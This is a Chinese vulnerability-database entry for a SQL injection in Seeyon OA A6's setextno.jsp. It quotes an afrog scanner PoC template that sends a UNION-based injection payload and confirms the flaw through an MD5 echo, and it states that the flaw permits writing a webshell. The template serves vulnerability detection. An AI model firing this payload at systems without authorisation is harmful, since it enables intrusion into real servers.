seeyon-a6-setextno-sql-inject: 致远OA A6 setextno.jsp SQL注入漏洞

日期: 2025-09-01 | 影响软件: 致远OA A6 | POC: 已公开

漏洞描述

致远OA A6 setextno.jsp 存在sql注入漏洞，并可以通过注入写入webshell文件控制服务器 title="致远A8+协同管理软件.A6"

PoC代码[已公开]

id: seeyon-a6-setextno-sql-inject

info:
  name: 致远OA A6 setextno.jsp SQL注入漏洞
  author: zan8in
  severity: high
  description: |
    致远OA A6 setextno.jsp 存在sql注入漏洞，并可以通过注入写入webshell文件控制服务器
    title="致远A8+协同管理软件.A6"
  reference:
    - http://wiki.peiqi.tech/wiki/oa/%E8%87%B4%E8%BF%9COA/%E8%87%B4%E8%BF%9COA%20A6%20setextno.jsp%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html

rules:
  r0:
    request:
      method: GET
      path: /yyoa/ext/trafaxserver/ExtnoManage/setextno.jsp?user_ids=(99999) union all select 1,2,(md5(168)),4#
    expression: response.status == 200 && response.body.bcontains(b'006f52e9102a8d3be2fe5614f42ba989')
expression: r0()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/seeyon-a6-setextno-sql-inject.yaml

相关漏洞推荐